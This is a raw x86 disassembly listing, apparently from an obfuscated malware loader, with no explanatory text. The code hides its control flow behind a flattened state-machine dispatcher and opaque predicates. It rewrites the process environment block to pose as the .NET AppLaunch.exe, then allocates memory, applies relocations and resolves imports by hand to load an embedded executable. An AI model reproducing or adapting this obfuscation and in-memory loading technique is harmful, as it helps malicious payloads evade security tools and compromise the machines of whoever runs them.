cmp eax, 0x48339e3f
jne 0x401520
mov dword [esp + 0x34], 0x20
mov eax, 0x30cf53a8
jmp 0x401520
cmp eax, 0xf2bd3499
je 0x4040b9
cmp eax, 0xf537f435
jne 0x401520
mov eax, dword [esp + 0xb4]
mov edi, 0x1385392b
mov esi, 0x554bab81
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0xb0]
mov dword [esp + 0x1c], eax
mov eax, dword [0x4663e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x554bab81
jmp 0x404562
cmp eax, 0x31d67014
je 0x4040e8
cmp eax, 0x32b0eb93
jne 0x401520
mov eax, 0x56f1c6f6
mov dword [esp + 8], 2
jmp 0x401520
cmp eax, 0xb4c9a015
je 0x4040fa
cmp eax, 0xb4fb5f62
jne 0x401520
mov eax, 0x619727e1
jmp 0x401520
cmp eax, 0x663a739e
je 0x404104
cmp eax, 0x66be9694
jne 0x401520
cmp byte [esp + 0x2c], 0
mov eax, 0xc639ea04
mov ecx, 0x517718e8
cmovne eax, ecx
jmp 0x401520
cmp eax, 0xe3326008
je 0x404123
cmp eax, 0xe4dcc1ef
jne 0x401520
mov eax, 0x7b620a88
jmp 0x401520
cmp eax, 0x2554b632
je 0x404157
cmp eax, 0x25eaec19
jne 0x401520
mov dword [esp + 0x34], 4
mov eax, 0x7127e347
jmp 0x401520
cmp eax, 0xa4603e62
je 0x4014d4
cmp eax, 0xa5217743
jne 0x401520
mov edx, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov esi, 0x4ad7db1e
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xbec4837a
jmp 0x404712
cmp eax, 0x56f1c6f6
je 0x404171
cmp eax, 0x5739d32c
jne 0x401520
cmp dword [esp + 0x158], 0
mov eax, 0xdc73a308
mov ecx, 0x4f5a9a69
cmove eax, ecx
jmp 0x401520
cmp eax, 0x62431a1
je 0x40417b
cmp eax, 0xa0a28db
jne 0x401520
mov eax, 0xe188b50b
jmp 0x401520
cmp eax, 0x3b8cba82
je 0x4041ba
cmp eax, 0x3b8d5d50
jne 0x401520
cmp dword [esp + 0x164], 0
mov eax, 0x48339e3f
jmp 0x4032f8
cmp eax, 0xc4300f42
je 0x4041e8
cmp eax, 0xc5bf16cf
jne 0x401520
mov eax, 0x35babf88
jmp 0x401520
cmp eax, 0x7a302855
je 0x4041fd
cmp eax, 0x7b620a88
jne 0x401520
mov eax, dword [esp + 0xd8]
mov eax, dword [eax]
mov dword [esp + 0xdc], eax
mov eax, 0x20889402
jmp 0x401520
cmp eax, 0xcb58abeb
je 0x404217
cmp eax, 0xccf07ec9
jne 0x401520
mov eax, dword [esp + 4]
add eax, 0x34
mov dword [esp + 0xcc], eax
mov eax, 0xbb0b4282
jmp 0x401520
cmp eax, 0x116de30d
je 0x404221
cmp eax, 0x11d0232f
jne 0x401520
mov eax, dword [0x4663e8]
mov edi, 0xf688e6fd
mov esi, 0x49e0d470
mov dword [esp + 0x34], 0x40
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x49e0d470
sete cl
cmove eax, edi
cmp dword [0x4663e4], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, edi
jmp 0x401520
cmp eax, 0x820a3882
je 0x404239
cmp eax, 0x8542faa6
jne 0x401520
mov eax, 0xeebb6f50
jmp 0x401520
cmp eax, 0x417e4806
je 0x404243
cmp eax, 0x42a64b01
jne 0x401520
mov eax, 0xebf2d7e1
jmp 0x401520
cmp eax, 0xebf2d7e1
je 0x404285
cmp eax, 0xec853f73
jne 0x401520
mov eax, 0x2c590485
mov dword [esp + 8], 7
jmp 0x401520
cmp eax, 0x2943a235
je 0x4042a1
cmp eax, 0x2acf028f
jne 0x401520
mov ecx, dword [esp + 0x50]
mov eax, dword [ecx]
add eax, dword [esp]
mov dword [esp + 0xb0], eax
lea eax, [ecx + 4]
mov dword [esp + 0x110], eax
mov eax, 0xc007b76e
jmp 0x401520
cmp eax, 0xa99903aa
je 0x4042ab
cmp eax, 0xa9ad6405
jne 0x401520
mov eax, dword [esp + 0xe0]
mov ecx, 0xa0418fcc
cmp eax, dword [esp + 0xe8]
mov eax, 0x32b0eb93
cmovl eax, ecx
jmp 0x401520
cmp eax, 0x5be31a08
je 0x4042c7
cmp eax, 0x5d076928
jne 0x401520
cmp byte [esp + 0x2d], 0
mov eax, 0x31d67014
mov ecx, 0x2acf028f
cmovne eax, ecx
jmp 0x401520
cmp eax, 0xdc8309f1
je 0x4042d9
cmp eax, 0xdd6034ca
jne 0x401520
cmp byte [esp + 0x30], 0
mov eax, 0xef279453
mov ecx, 0x8f8893c0
cmovne eax, ecx
jmp 0x401520
cmp eax, 0x1e91dcb1
je 0x4042ee
cmp eax, 0x1e9decd5
jne 0x401520
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0xc7ea7b30
mov esi, 0x188dfc20
jmp 0x4014e9
cmp eax, 0x9d739b58
je 0x4042f8
cmp eax, 0x9d8279c7
jne 0x401520
cmp dword [esp + 0x118], 0
mov eax, 0xe3326008
mov ecx, 0xc933c34f
cmove eax, ecx
jmp 0x401520
cmp eax, 0x4e453dd0
je 0x404343
cmp eax, 0x4f5a9a69
jne 0x401520
mov ecx, dword [esp + 0x18]
mov eax, ecx
xor eax, 0xbfffffff
and eax, ecx
mov dword [esp + 0x15c], eax
mov eax, 0xd8c9211b
jmp 0x401520
cmp eax, 0xfa8a8ad6
je 0x404355
cmp eax, 0xfc0cc36f
jne 0x401520
mov eax, 0x1e9decd5
jmp 0x401520
cmp eax, 0x36713f2b
je 0x4043ac
cmp eax, 0x373bc9bd
jne 0x401520
mov eax, dword [esp + 4]
mov edi, 0x9252c5fb
mov esi, 0xf58e25db
cmp dword [eax + 0xe8], 0
mov eax, dword [0x4663e8]
lea ecx, [eax + 1]
setne byte [esp + 0xf]
setne byte [esp + 0x33]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xf58e25db
jmp 0x404562
cmp eax, 0xbbb3c04d
je 0x4043ca
cmp eax, 0xbd78d12a
jne 0x401520
mov eax, 0x52f8e757
jmp 0x401520
cmp eax, 0x70696b4a
je 0x4043d4
cmp eax, 0x7127e347
jne 0x401520
mov edx, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov esi, 0x122fd556
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xdf7c9424
jmp 0x404712
cmp eax, 0xd1bfb8ba
je 0x4043de
cmp eax, 0xd5db8135
jne 0x401520
mov eax, 0x64052c5f
jmp 0x401520
cmp eax, 0x17c6d56d
je 0x40441d
cmp eax, 0x17c9b97f
jne 0x401520
mov dword [esp + 8], 0xc
mov eax, 0x24cea059
jmp 0x401520
cmp eax, 0x8f8893c0
je 0x404427
cmp eax, 0x90cbed06
jne 0x401520
cmp dword [esp + 0x154], 0
mov eax, 0x7a302855
mov ecx, 0x4f5a9a69
cmovns eax, ecx
jmp 0x401520
cmp eax, 0x468b2a28
je 0x40444d
cmp eax, 0x4764aee4
jne 0x401520
mov eax, 0x53d9ea1e
jmp 0x401520
cmp eax, 0xef9f530b
je 0x404457
cmp eax, 0xf0aa1173
jne 0x401520
movzx eax, word [esp + 0x72]
shr eax, 0xc
mov ecx, eax
xor ecx, 0xc
and ecx, eax
mov eax, 0x9d8279c7
mov dword [esp + 0x118], ecx
jmp 0x401520
cmp eax, 0x30cf53a8
je 0x404461
cmp eax, 0x313f65d5
jne 0x401520
mov eax, dword [esp + 0x10c]
mov ecx, dword [esp + 0x108]
cmp ecx, dword [eax]
mov eax, 0x9d883106
setb byte [esp + 0x2d]
jmp 0x401520
cmp eax, 0xb09a802e
je 0x40446b
cmp eax, 0xb0e73260
jne 0x401520
mov eax, 0x687a1aee
jmp 0x401520
cmp eax, 0x646e9d65
je 0x404482
cmp eax, 0x661ae861
jne 0x401520
mov eax, 0x8f8893c0
jmp 0x401520
cmp eax, 0xe2638699
je 0x40448c
cmp eax, 0xe27d2dbd
jne 0x401520
mov eax, dword [0x4663e8]
mov esi, 0x3c6bd060
mov edi, 0x8dee0c75
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x8dee0c75
jmp 0x4045e4
cmp eax, 0x23c02bc2
je 0x4044ab
cmp eax, 0x24cea059
jne 0x401520
mov edx, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov esi, 0x455fdacf
lea eax, [edx + 1]
jmp 0x403cb7
cmp eax, 0xa328d3bc
je 0x4044b5
cmp eax, 0xa44bd645
jne 0x401520
mov eax, 0x417e4806
jmp 0x401520
cmp eax, 0x54b4dd4d
je 0x4044fb
cmp eax, 0x554bab81
jne 0x401520
mov eax, 0xf537f435
jmp 0x401520
cmp eax, 0x2647f80
je 0x40450d
cmp eax, 0x2dd3bc7
jne 0x401520
mov eax, dword [esp + 0x64]
add eax, 2
push eax
push dword [esp + 0x58]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x4c], eax
mov eax, dword [0x4663e8]
mov edi, 0xacb88cae
mov esi, 0xa3006b81
lea ecx, [eax + 1]
imul eax, ecx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
mov eax, 0xa3006b81
jmp 0x404562
cmp eax, 0x3acb916a
je 0x404540
cmp eax, 0x3ad1fe76
jne 0x401520
mov eax, 0x3f4a2f09
jmp 0x401520
cmp eax, 0xc23a3d91
je 0x40457f
cmp eax, 0xc3a315c6
jne 0x401520
mov eax, dword [esp + 0x160]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, 0xcdd3c5ce
mov ecx, 0x36713f2b
cmove eax, ecx
jmp 0x401520
cmp eax, 0x799d41bb
je 0x404589
cmp eax, 0x79eb0d2f
jne 0x401520
mov eax, dword [esp + 4]
mov dword [esp + 0x80], eax
mov eax, 0x7548def3
jmp 0x401520
cmp eax, 0xc95b4b09
je 0x4045a6
cmp eax, 0xcabc0920
jne 0x401520
mov eax, 0x3c2d3607
jmp 0x401520
cmp eax, 0x137011fc
je 0x404601
cmp eax, 0x1385392b
jne 0x401520
mov eax, 0xeb5cb82b
jmp 0x401520
cmp eax, 0x8d40fd55
je 0x404664
cmp eax, 0x8dee0c75
jne 0x401520
mov eax, 0x3c6bd060
jmp 0x401520
cmp eax, 0x44054a33
je 0x404680
cmp eax, 0x44cbec47
jne 0x401520
mov eax, 0x610ce6f6
jmp 0x401520
cmp eax, 0xee1818d4
je 0x404692
cmp eax, 0xee2ce27b
jne 0x401520
mov eax, dword [0x4663e8]
mov edi, 0x23602d30
mov esi, 0x5d0b32ad
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x5d0b32ad
jmp 0x404562
cmp eax, 0x2d596ea3
je 0x4046c3
cmp eax, 0x2e3cde41
jne 0x401520
mov eax, dword fs:[0x30]
vmovups ymm0, ymmword [0x459e80]
vmovups ymm1, ymmword [0x459e68]
mov esi, dword [esp]
vmovups ymm2, ymmword [0x459e48]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0x14]
mov dword [eax + 8], esi
mov eax, 0xbe23caea
mov dword [edx + 0x10], esi
vmovups ymmword [esp + 0x1f8], ymm0
vmovups ymmword [esp + 0x1e0], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
add edx, 0x1c
vmovups ymmword [esp + 0x1c0], ymm2
mov dword [esp + 0x58], edx
vmovups ymmword [esp + 0x1a0], ymm1
jmp 0x401520
cmp eax, 0xacb88cae
je 0x4046d9
cmp eax, 0xaf49b6f7
jne 0x401520
mov eax, 0x62431a1
jmp 0x401520
cmp eax, 0x60d32a10
je 0x4046e3
cmp eax, 0x610ce6f6
jne 0x401520
cmp byte [esp + 0x2e], 0
mov eax, 0xec853f73
mov ecx, 0x2d596ea3
cmovne eax, ecx
jmp 0x401520
cmp eax, 0xdf7c9424
je 0x404728
cmp eax, 0xe02ab89b
jne 0x401520
mov eax, 0x75bc770b
jmp 0x401520
cmp eax, 0x20889402
je 0x404732
cmp eax, 0x2229b42c
jne 0x401520
mov eax, dword [esp + 0xe4]
movzx eax, word [eax + 6]
mov dword [esp + 0xe8], eax
mov eax, 0xa9ad6405
jmp 0x401520
cmp eax, 0x9ed07834
je 0x40475c
cmp eax, 0xa0418fcc
jne 0x401520
mov eax, dword [0x4663e8]
mov esi, 0xd1bfb8ba
mov edi, 0x69b62d7e
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x69b62d7e
jmp 0x4045e4
mov eax, dword [esp + 0x24]
mov dword [esp + 0xfc], eax
mov eax, 0x272f51a8
jmp 0x401520
mov eax, dword [esp + 0x24]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 4]
mov dword [esp + 0xe4], eax
mov eax, 0x2229b42c
jmp 0x401520
mov eax, 0x52cc3fa5
jmp 0x401520
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x170]
mov ebp, 0xfad117ee
lea eax, [eax*8]
lea eax, [eax + eax*4]
mov esi, dword [ecx + eax + 8]
mov ecx, dword [esp + 0x3c]
mov eax, dword [ecx + eax + 0xc]
add eax, dword [esp]
mov edx, dword [esp + 0x16c]
mov edi, dword [0x4663f0]
lea ebx, [edi + 1]
imul ebx, edi
mov edi, ebx
xor edi, 0xfffffffe
test edi, ebx
mov edi, 0x9207bbb4
setne bl
cmp dword [0x4663ec], 0xa
setge bh
mov cl, bh
or bh, bl
xor cl, bl
xor bh, 1
or bh, cl
mov ebx, 0xecd29eeb
cmovne ebx, ebp
mov ebp, 0xecd29eeb
cmovne ebp, edi
mov edi, 0x59f46db4
nop dword [eax + eax]
cmp edi, 0xfad117ed
jle 0x403630
cmp edi, 0xfad117ee
je 0x403647
cmp edi, 0x480f8293
je 0x404766
cmp edi, 0x59f46db4
jne 0x403600
mov edi, ebp
jmp 0x403600
cmp edi, 0x9207bbb4
je 0x40364e
cmp edi, 0xecd29eeb
jne 0x403600
mov edi, 0x9207bbb4
jmp 0x403600
mov edi, 0x480f8293
jmp 0x403600
mov edi, ebx
jmp 0x403600
mov eax, dword [esp + 0x130]
mov ecx, dword [esp + 0x134]
lea ecx, [ecx + ecx*4]
cmp dword [eax + ecx*4 + 0x10], 0
mov eax, 0x1a221efa
mov ecx, 0xaa6b6d0e
cmove eax, ecx
jmp 0x401520
mov eax, 0x2671d92b
jmp 0x401520
vxorps xmm0, xmm0, xmm0
vmovups xmmword [esp + 0x190], xmm0
mov eax, 0x4ad7db1e
jmp 0x401520
mov eax, dword [esp + 0x17c]
mov ecx, dword [esp + 0xbc]
mov edx, dword [esp + 0xb8]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov eax, 0x37c5c057
jmp 0x401520
mov eax, dword [esp + 0x58]
mov dword [esp + 0x174], eax
mov eax, 0xdc593989
jmp 0x401520
mov eax, dword [0x4663e8]
mov edi, 0x284021cf
mov esi, 0xc4300f42
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xc4300f42
jmp 0x40455a
mov eax, 0x78c85a0a
jmp 0x401520
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0x4e453dd0
mov esi, 0x38e5a1c5
mov dword [esp + 8], 0xa
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne edi, esi
test eax, edx
mov eax, edi
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edi
jmp 0x401520
mov eax, 0x1b2e90d2
jmp 0x401520
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0x17c6d56d
mov esi, 0xfc0cc36f
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne edi, esi
test eax, edx
mov edx, dword [esp + 0x5c]
mov eax, edi
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edi
mov dword [esp + 0x48], edx
jmp 0x401520
mov eax, 0x3a758f55
jmp 0x401520
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x28]
add eax, dword [esp]
mov dword [esp + 0x178], eax
mov eax, 0x3d60bdd7
jmp 0x401520
mov eax, 0xce727201
jmp 0x401520
mov dword [esp + 0x34], 0x40
mov eax, 0x11d0232f
jmp 0x401520
mov eax, 0x52cc3fa5
jmp 0x401520
mov dword [esp + 0x20], 0
mov eax, 0xa9024ddb
jmp 0x401520
mov eax, dword [esp + 0x18]
mov dword [esp + 0x154], eax
mov eax, 0x90cbed06
jmp 0x401520
mov eax, dword [esp + 0x74]
mov esi, 0x48a2512a
mov edi, 0x7c0e5093
mov dword [esp + 0x180], eax
mov eax, dword [0x4663e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x7c0e5093
jmp 0x4045dc
mov eax, dword [esp + 0x84]
mov dword [esp + 0x24], eax
mov eax, 0x18a8fe0f
jmp 0x401520
mov dword [esp + 8], 0
mov eax, 0xcb58abeb
jmp 0x401520
mov eax, dword [esp]
mov edi, 0x42a64b01
mov esi, 0xb0e73260
mov dword [esp + 0x128], eax
mov eax, dword [esp + 4]
mov eax, dword [eax + 0x80]
mov dword [esp + 0x12c], eax
mov eax, dword [0x4663e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xb0e73260
jmp 0x404562
mov eax, 0xc95b4b09
jmp 0x401520
mov eax, 0x60d32a10
jmp 0x401520
mov eax, dword [esp + 0x5c]
mov edi, 0x9ed07834
mov esi, 0xcda18cfd
mov dword [esp + 0x94], eax
mov eax, dword [esp + 0xac]
mov dword [esp + 0x98], eax
mov eax, dword [0x4663e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xcda18cfd
jmp 0x40455a
mov eax, 0xd5db8135
jmp 0x401520
mov eax, dword [esp + 0xfc]
inc eax
mov dword [esp + 0x84], eax
mov eax, 0x9d922217
jmp 0x401520
mov eax, dword [esp + 4]
mov edx, 0x71cb1483
movzx eax, word [eax + 6]
mov ecx, dword [esp + 0x150]
cmp ecx, eax
mov eax, 0x7f450c
cmovl eax, edx
jmp 0x401520
mov ecx, dword [esp + 0x120]
mov eax, 0xc0c66c4
mov dword [esp + 0x44], ecx
jmp 0x401520
mov dword [esp + 0x78], 0
mov eax, 0x37967e7f
jmp 0x401520
mov eax, 0x455fdacf
jmp 0x401520
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0x204c40c5
mov esi, 0x5d076928
jmp 0x4014e9
mov dword [esp + 0x34], 2
mov eax, 0x7ebf7617
jmp 0x401520
mov eax, dword [0x4663e8]
mov edi, 0xfa8a8ad6
mov esi, 0xd0ddf12b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xd0ddf12b
jmp 0x404562
mov eax, dword [esp + 0x38]
mov edi, 0xe1de5716
mov esi, 0x8dee0c75
mov dword [esp + 0x150], eax
mov eax, dword [0x4663e8]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x8dee0c75
jmp 0x40455a
mov eax, dword [0x4663e8]
mov esi, 0x687a1aee
mov edi, 0xb0e73260
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xb0e73260
jmp 0x4045dc
mov eax, 0xcb58abeb
jmp 0x401520
mov eax, 0x334e10a1
jmp 0x401520
mov eax, 0xfa1a731b
jmp 0x401520
mov eax, 0xe91cff7f
jmp 0x401520
mov eax, dword [0x4663e8]
mov edi, 0xc95b4b09
mov esi, 0x689811a7
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x689811a7
jmp 0x404562
mov eax, 0xc02df7f1
jmp 0x401520
mov dword [esp + 0x38], 0
mov eax, 0xe27d2dbd
jmp 0x401520
mov eax, 0x5a2e31b0
jmp 0x401520
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0xc4300f42
mov esi, 0xafb70ec3
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne edi, esi
test eax, edx
mov eax, edi
cmove eax, esi
mov esi, dword [esp + 0x80]
cmp ecx, 0xa
mov edx, dword [esp + 0x7c]
cmovge eax, edi
cmp edx, dword [esi + 0x34]
setne byte [esp + 0x2b]
jmp 0x401520
mov eax, dword [0x4663e8]
mov edi, 0x9bd7f8c4
mov esi, 0xf586d065
mov dword [esp + 0x20], 0
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xf586d065
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4663e4], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, edi
jmp 0x401520
mov eax, 0xe27d2dbd
jmp 0x401520
mov eax, dword [esp + 0x174]
mov esi, dword [esp + 0x58]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esp + 0xb8], eax
lea eax, [esp + 0x1a0]
mov dword [esp + 0xbc], ecx
mov dword [esi + 4], eax
push eax
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov word [esi], ax
mov eax, 0x94b672d6
jmp 0x401520
mov eax, 0x5a2e31b0
jmp 0x401520
mov eax, 0x282f754a
jmp 0x401520
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0x8e3269d8
mov esi, 0xbd78d12a
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne edi, esi
test eax, edx
mov edx, dword [esp + 0x60]
mov eax, edi
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [esp + 0x4c]
cmovge eax, edi
mov dword [esp + 0x144], ecx
mov ecx, dword [esp + 0x20]
lea ecx, [ecx + ecx*4]
mov ecx, dword [edx + ecx*4 + 0x10]
add ecx, dword [esp]
mov dword [esp + 0x148], ecx
jmp 0x401520
mov eax, 0xeb50b090
jmp 0x401520
mov edx, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov esi, 0xa0be1220
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xc5bf16cf
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [esp + 4]
cmovge eax, edx
cmp dword [esp + 0x18c], 0
mov ecx, dword [ecx + 0x50]
setne byte [esp + 0x2a]
mov dword [esp + 0xc8], ecx
jmp 0x401520
mov eax, 0xdd6034ca
jmp 0x401520
mov eax, dword [0x4663e8]
inc dword [esp + 0x40]
mov edi, 0x8542faa6
mov esi, 0x2923a8c4
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x2923a8c4
jmp 0x40455a
mov eax, dword [0x4663e8]
mov esi, 0xee2ce27b
mov edi, 0x5d0b32ad
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x5d0b32ad
jmp 0x4045e4
mov eax, 0x2b4f6f26
jmp 0x401520
mov eax, 0x4ae4f704
jmp 0x401520
mov edx, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov esi, 0xc6c75ac2
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x57b58d2d
jmp 0x404712
mov eax, 0x8b24de62
jmp 0x401520
mov eax, dword [0x4663e8]
mov edi, 0x62431a1
mov esi, 0xaf49b6f7
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xaf49b6f7
jmp 0x40455a
mov eax, dword [esp + 0xa4]
mov edi, 0x114117b2
mov esi, 0x857b0b5c
mov eax, dword [eax]
mov dword [esp + 0x18], eax
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, dword [0x4663e8]
setne byte [esp + 0x31]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x857b0b5c
jmp 0x40455a
mov eax, dword [0x4663e8]
mov esi, 0xd6f61316
mov edi, 0xb4fb5f62
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xb4fb5f62
jmp 0x4045dc
mov eax, dword [0x4663e8]
mov esi, 0x373bc9bd
mov edi, 0xf58e25db
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xf58e25db
jmp 0x4045dc
mov eax, 0xb56794d7
jmp 0x401520
cmp byte [esp + 0x2a], 0
mov eax, 0xccf07ec9
mov ecx, 0xb5c651b7
cmovne eax, ecx
jmp 0x401520
mov eax, dword [esp + 0x148]
mov ecx, dword [esp + 0x144]
mov edx, dword [esp + 0x40]
mov dword [eax + edx*4], ecx
mov eax, 0xa4603e62
jmp 0x401520
mov eax, dword [esp + 0x13c]
mov ecx, dword [esp + 0x20]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0xc]
add eax, dword [esp + 0x138]
push eax
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp + 0x54], eax
test eax, eax
mov eax, 0xc02c2a04
mov ecx, 0x17c9b97f
cmove eax, ecx
jmp 0x401520
mov eax, 0xc639ea04
jmp 0x401520
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x60]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0x10]
add eax, dword [esp]
mov dword [esp + 0x140], eax
mov eax, 0x799d41bb
jmp 0x401520
mov eax, dword [esp]
mov dword [esp + 0x138], eax
mov eax, dword [esp + 0x60]
mov dword [esp + 0x13c], eax
mov eax, 0x23917e2
jmp 0x401520
mov eax, 0x2b4f6f26
mov dword [esp + 0x6c], 0
jmp 0x401520
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0xdf7c9424
mov esi, 0x8f519ba8
jmp 0x4014e9
mov eax, dword [esp + 0xa4]
mov eax, dword [eax]
mov dword [esp + 0x18], eax
mov eax, 0xaf6c8606
jmp 0x401520
mov eax, 0x820a3882
jmp 0x401520
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0x646e9d65
mov esi, 0x5772ba97
jmp 0x4014e9
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x108], eax
lea eax, [esp + 0x18c]
mov dword [esp + 0x10c], eax
mov eax, 0x313f65d5
jmp 0x401520
mov eax, dword [0x4663e8]
mov esi, 0xd6f8feca
mov edi, 0x4e453dd0
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x4e453dd0
jmp 0x4045e4
mov eax, 0xee2ce27b
jmp 0x401520
cmp dword [esp + 0x18], 0
mov eax, 0x57fdf525
sets byte [esp + 0x32]
jmp 0x401520
mov eax, dword [0x4663e8]
mov esi, 0x482a9926
mov edi, 0x116de30d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x116de30d
jmp 0x4045e4
mov eax, dword [0x4663e8]
mov ecx, dword [0x4663e4]
mov edi, 0x204c40c5
mov esi, 0xaabaa84
jmp 0x4014e9
mov eax, dword [esp + 0x68]
mov ecx, dword [esp + 0x40]
mov eax, dword [eax + ecx*4]
mov ecx, dword [esp]
mov edx, eax
xor edx, 0xffff0000
add ecx, eax
and edx, eax
mov dword [esp + 0x64], ecx
push edx
push dword [esp + 0x58]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x4c], eax
mov eax, 0x9cb2490b
jmp 0x401520
mov eax, 0xe2638699
jmp 0x401520
push 4
push 0x3000
push dword [esp + 0xd0]
push dword [esp + 0x84]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp dword [esp + 0x18c], 0
mov dword [esp], eax
mov eax, 0xeef0c9
mov ecx, 0x1de8a3bb
cmove eax, ecx
jmp 0x401520
mov eax, dword [esp + 0x68]
mov ecx, dword [esp + 0x40]
mov edi, 0x131fbb59
mov esi, 0x23c02bc2
lea eax, [eax + ecx*4]
mov dword [esp + 0xa0], eax
mov eax, dword [0x4663e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x23c02bc2
jmp 0x404562
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x34], 0x40
lea eax, [eax + eax*4]
lea eax, [ecx + eax*8 + 0x24]
mov dword [esp + 0xa4], eax
mov eax, 0xa905f7ae
jmp 0x401520
mov eax, dword [esp + 0x124]
mov dword [esp + 0x6c], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 0x50], eax
mov eax, 0x13a8110e
jmp 0x401520
mov eax, dword [esp + 0x48]
mov esi, 0xbbb3c04d
mov edi, 0xc7ea7b30
inc eax
